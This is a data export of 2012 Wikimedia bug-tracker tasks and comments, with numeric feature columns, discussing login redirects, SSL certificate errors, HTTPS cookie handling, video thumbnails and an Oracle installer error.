+200089,"Special:UserLogin on labsconsole.wikimedia.org shows a useless ""Token"" field","Token is used for 2-factor auth.  I'm surprised that the field present if you don't have 2-factor enabled, but I suspect we're on the verge of turning it on for everyone...",,,1352945049,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-yaenbow3yopcurwmttkx,task_subcomment,,True,c2,1,False,,,-41,True,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+43744,load video via http for thumb extraction,"**Author:** `jgerber`
+
+**Description:**
+Creating thumbnails from videos on backends without POSIX access is expensive since a local copy of the video has to be created in /tmp first.
+
+TMH should create thumbs from the public http url and seek using http range requests instead.
+
+avconv supports http so that part should be possible.
+
+One open question is if the public url is the best one or if we can use a swift url instead.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1351966440,1352893292.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s3usb6geemsh3zoiuy7d,task_description,resolved,True,c2,1,False,False,True,-43,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+203236,load video via http for thumb extraction,"**jgerber** wrote:
+
+TMH part https://gerrit.wikimedia.org/r/#/c/31666/
+depends on core change https://gerrit.wikimedia.org/r/#/c/32102/",,,1352291434,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s3usb6geemsh3zoiuy7d,task_subcomment,,True,c2,1,False,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+43710,Login and settings redirect URL doesn't change on a dynamic page load,"In beta click a link on a page
+The page loads dynamically
+CLick the menu button
+Click login/settings
+Click back - get taken to first page
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1351889940,1354575048.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-a3yly4pv6e7owuku4u6j,task_description,resolved,True,c2,1,False,False,True,-43,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+200700,Login and settings redirect URL doesn't change on a dynamic page load,https://gerrit.wikimedia.org/r/36314,,,1354316739,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a3yly4pv6e7owuku4u6j,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+43486,Invalid SSL certificate for www.wikidata.org,"https://www.wikidata.org/
+
+
+
+""You attempted to reach www.wikidata.org, but instead you actually reached a server identifying itself as *.wikimedia.org.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1351512000,1351515542.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-hk53c63b3gefziwydp3t,task_description,resolved,True,c2,1,True,False,True,-44,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+187241,Invalid SSL certificate for www.wikidata.org,"
+
+*** This bug has been marked as a duplicate of bug 41437 ***",,,1351515542,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hk53c63b3gefziwydp3t,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+43429,Wikidata auto-login not working properly,"Screenshot of the English Wikipedia's post-login screen showing a broken Wikidata icon
+
+After successfully logging in to the English Wikipedia at <https://en.wikipedia.org/w/index.php?title=Special:UserLogin>, I'm presented with a broken "".wikidata.org"" icon. It looks like it's referencing <https://www.wikidata.org/wiki/Special:AutoLogin?token=aa5a4a580a35eb19530cb5759b0cff48>, which doesn't work properly. Screenshot attached.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+
+**Attached**: {F9634}",Needs Triage,90.0,1351272960,1351284651.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-hrnkil2efzl4wpiju7ec,task_description,resolved,True,c2,1,True,False,True,-44,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+183384,Wikidata auto-login not working properly,Closed older resolved bugs as verified.,,,1377183274,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+183377,Wikidata auto-login not working properly,"Gives warning of bad SSL on each wmf wiki after login and logout over https, please fix bug 41437 asap",,,1351289537,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,False,,,-44,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+183370,Wikidata auto-login not working properly,Merged and pushed,,,1351284651,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+183364,Wikidata auto-login not working properly,https://gerrit.wikimedia.org/r/#/c/30202/,,,1351278444,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-hrnkil2efzl4wpiju7ec,task_subcomment,,True,c2,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+43418,User Login Redirect,"**Author:** `savannah.cozette`
+
+**Description:**
+Hi,
+
+I've got a problem after user login my mediawiki.
+
+We recently change our server and since I have a problem with the page on which users are redirected after login :
+it redirects towards Home page but without the www. before adress so there is a 404 error.
+
+I've tried to change the page with $wgRedirectOnLogin either in LocalSettings.php or in DefaultSettings.php and that does'nt works.
+
+Moreover I tried to enter directly the adress of Home page as an external link, with all possible syntax ([http://www.], [[http://www.]], and even 'http://www.' or ""http://www."") but nothing is working.
+
+Can anybody help me?
+
+--------------------------
+**Version**: 1.16.x
+**Severity**: normal",Needs Triage,90.0,1351243800,1351263071.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qwj5eskvdtwwpao2lyn5,task_description,invalid,True,c2,1,False,False,True,-44,True,1,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+182825,User Login Redirect,"Bugzilla is not a place for support, therefore resolved as invalid.
+
+MediaWiki 1.16 is EOL since August 2011, you won't get support for it anymore.
+
+If your web site does not resolve correctly without www., that is an issue with your website. (Though obviously MediaWiki probably shouldn't be changing the domain...)
+
+$wgRedirectOnLogin takes a page title (E.g. 'Main Page' or 'Special:Version') or null, not a URL. Once you've upgraded, I suggest you look into $wgServer.",,,1351263071,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-qwj5eskvdtwwpao2lyn5,task_subcomment,,True,c2,1,True,,,-44,True,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+43282,MobileFrontend overrides Special:Userlogin template on desktop view,"MobileFrontend appears to be overriding the Special:Userlogin template on the desktop view as long as the extension is enabled.
+
+It may not be checking whether it's actually in mobile mode...
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker",Needs Triage,90.0,1350943680,1350946140.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-h6ek66uukcqc2l3rtcgl,task_description,resolved,True,c2,1,True,False,True,-45,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+200910,MobileFrontend overrides Special:Userlogin template on desktop view,Fixed https://gerrit.wikimedia.org/r/#/c/29445/,,,1350946140,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-h6ek66uukcqc2l3rtcgl,task_subcomment,,True,c2,1,False,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+43265,HTTP referer is sent from secure connection,"**Author:** `M8R-udfkkf`
+
+**Description:**
+When on a secure wiki page (SSL), such as 
+http://en.wikipedia.org/wiki/File:Vulpicida_canadensis_44260.jpg
+
+and you click a non-secure (http not https) link, such as
+http://www.mushroomobserver.org/image/show_image/44260
+
+the referer is sent. This is against RFC 2616. No referer should be sent.
+
+Per RFC 2616 § 15.1.3 (http://tools.ietf.org/html/rfc2616#section-15.1.3):
+
+   Clients SHOULD NOT include a Referer header field in a (non-secure)
+   HTTP request if the referring page was transferred with a secure
+   protocol.
+
+General http referer info: http://en.wikipedia.org/wiki/HTTP_referer
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1350872700,1350873162.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-temqly5nrkewnlxk4zup,task_description,invalid,True,c2,1,False,False,True,-45,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+199742,HTTP referer is sent from secure connection,"**M8R-udfkkf** wrote:
+
+Seems it doesn't send...my mistake.",,,1350873162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-temqly5nrkewnlxk4zup,task_subcomment,,True,c2,1,False,,,-45,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+43146,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"**Author:** `andrew`
+
+**Description:**
+Attempting to install using Oracle as the backend.  Fresh install of 1.19.2.  PHP with OCI8 is working fine in other apps.
+
+Going through the MW installer, after submitting a configuration on the ""Connect to database"" page (specifying the Database TNS, Database username, etc.), clicking Continue results in an HTTP 500.
+
+In my web server's error log I see:
+
+PHP Fatal error:  Call to undefined function mb_check_encoding() in /var/www/wiki.example.org/includes/db/DatabaseOracle.php on line 307, referer: http://wiki.example.org/mw-config/index.php
+
+--------------------------
+**Version**: 1.19.2
+**Severity**: critical
+**OS**: Linux",Needs Triage,90.0,1350531600,1355316743.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_description,resolved,True,c2,1,False,False,True,-45,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+192412,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),Proposed fix in Gerrit: https://gerrit.wikimedia.org/r/31141,,,1351722919,,PHID-USER-uqsneapm3xsldkxiwool,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+192406,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"languages/Language.php sets mb_internal_encoding('UTF-8'), so the check in DatabaseOracle.php checks for valid UTF-8.
+
+AFAIK, throughout the rest of MediaWiki, mbstring is always optional.
+
+To check for valid UTF-8, DatabaseOracle.php could use the same technique as Language::checkTitleEncoding(), which uses preg_match if mb_check_encoding is not available.",,,1350764826,,PHID-USER-uqsneapm3xsldkxiwool,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-45,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+192398,Fatal installer error using Oracle DB (HTTP 500 error): undefined function mb_check_encoding(),"**freak** wrote:
+
+This backend uses mb_check_encoding to make sure everything used in queries is always in the right encoding. It might be removed at some point, but for now it requires php to have mbstring enabled (i.e.: --enable-mbstring)
+
+Hope this helps in any way ...",,,1350629022,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-wdntrqazkn2vuvrk5b6w,task_subcomment,,True,c2,1,False,,,-45,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+43070,Hostname changes redirects from HTTPS to HTTPS,"https://mediawiki.org/
+
+returns
+
+HTTP/1.1 301 Moved Permanently
+Location: http://www.mediawiki.org/
+
+expected result
+
+HTTP/1.1 301 Moved Permanently
+Location: https://www.mediawiki.org/
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://mediawiki.org/",Needs Triage,90.0,1350377940,1350378675.0,PHID-USER-3dmql6z7s5lnn5lu2vs3,False,,False,PHID-TASK-mnp4tcmjqbsjfu7vkanp,task_description,resolved,True,c2,1,False,False,True,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+187137,Hostname changes redirects from HTTPS to HTTPS,"
+
+%%%*** This bug has been marked as a duplicate of bug 31369 ***%%%",,,1350378675,,PHID-USER-gibrlx54k2riiuit5paf,False,,,PHID-TASK-mnp4tcmjqbsjfu7vkanp,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+43022,Preserve login status when switching protocols (HTTP and HTTPS),"Right now, if you log into the wiki under HTTPS protocol, then visit a page under HTTP protocol, it shows you as logged out. This is bad practice, because requires logging in again. The cookies should be shared in HTTP and HTTPS.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Needs Triage,90.0,1350234180,1350515601.0,PHID-USER-p2ebbrj45wupyi25othr,False,,False,PHID-TASK-icvsuemcgcfrzfzbjuze,task_description,declined,True,c2,1,False,False,True,-46,True,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+184412,Preserve login status when switching protocols (HTTP and HTTPS),Gmail is https-only since .... a year or two ago? We should be following that model and dropping all HTTP login support these days.,,,1350515601,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-45,True,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,1,0,0,0
+184406,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #7)
+> It's not secure to send https cookies over http. So if a user requests https on
+> mediawiki login, we set the flag to only send the session cookie for page
+> reqests over https. Otherwise an attacker just has to give a victim an image or
+> redirect to http://en.wikipedia.org, and can sniff their session cookie.
+
+I wonder why major online services like GMail or Yahoo! do that then. They only use HTTPS for login, by default.",,,1350340236,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+184402,Preserve login status when switching protocols (HTTP and HTTPS),Is this bug WONTFIX/INVALID then?,,,1350315659,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+184399,Preserve login status when switching protocols (HTTP and HTTPS),"It's not secure to send https cookies over http. So if a user requests https on mediawiki login, we set the flag to only send the session cookie for page reqests over https. Otherwise an attacker just has to give a victim an image or redirect to http://en.wikipedia.org, and can sniff their session cookie.",,,1350309219,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+184396,Preserve login status when switching protocols (HTTP and HTTPS),"I'm not sure if this is against security standards. From bug 29898 comment 2 by Brion Vibber:
+
+> Running all login forms through HTTPS, then after that either keeping you in
+> secure HTTPS-land or giving you an insecure cookie and shoving you back to
+> HTTP, is common practice.
+
+If it is reasonable to allow HTTP users to use HTTPS for login and then be redirected back to HTTP, then it is also reasonable to allow a user who started on HTTPS, and logged in on HTTPS, to retain their cookies in HTTP too.
+
+I will wait for further input from others.",,,1350257974,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+184393,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #4)
+> The reverse doesn't work. Log into HTTPS and then visit the site under HTTP.
+
+Right. This is a security feature. It prevents users from unwittingly exposing their session information over HTTP after they've properly logged in via HTTPS. I believe this bug is invalid.",,,1350246356,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+184389,Preserve login status when switching protocols (HTTP and HTTPS),The reverse doesn't work. Log into HTTPS and then visit the site under HTTP.,,,1350243671,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+184383,Preserve login status when switching protocols (HTTP and HTTPS),"(In reply to comment #2)
+> For example, I may use HTTP primarily and even decide to login over HTTP (and
+> therefore not use the feature 29898 is suggesting); however, after I'm logged
+> in, if I click on a DIFF link which has HTTPS in the beginning of it, I still
+> want to show as logged in.
+
+With a completely reset Web browser (no cookies, no cache, etc.), if I navigate to <http://en.wikipedia.org> right now and successfully log in, when I subsequently navigate to <https://en.wikipedia.org>, I'm also logged in. Logging in via HTTP will log you in to both HTTP and HTTPS.
+
+Given this, I'm still unclear what the bug is here. Does this feature not work for you?",,,1350241895,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+184377,Preserve login status when switching protocols (HTTP and HTTPS),"Not really. Bug 29898 talks about if a user wants to always use HTTPS for login (JUST for login), and how to enforce all sessions to be secure. This bug, however, is about retaining the login status if at some point you decide to switch protocols.
+
+For example, I may use HTTP primarily and even decide to login over HTTP (and therefore not use the feature 29898 is suggesting); however, after I'm logged in, if I click on a DIFF link which has HTTPS in the beginning of it, I still want to show as logged in.
+
+They are related features, but not the same.",,,1350240450,,PHID-USER-p2ebbrj45wupyi25othr,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,False,,,-46,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+184369,Preserve login status when switching protocols (HTTP and HTTPS),Dupe of bug 29898?,,,1350235017,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-icvsuemcgcfrzfzbjuze,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0
+42550,Use http get with https whenever possible,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**Whiteboard**: storypoints: 2",Needs Triage,90.0,1348744260,1350492055.0,PHID-USER-ydl4ek3zzlyuz7f7upgt,False,,False,PHID-TASK-tcrbgof7zzlpsbfnayrl,task_description,resolved,True,c2,1,False,False,True,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
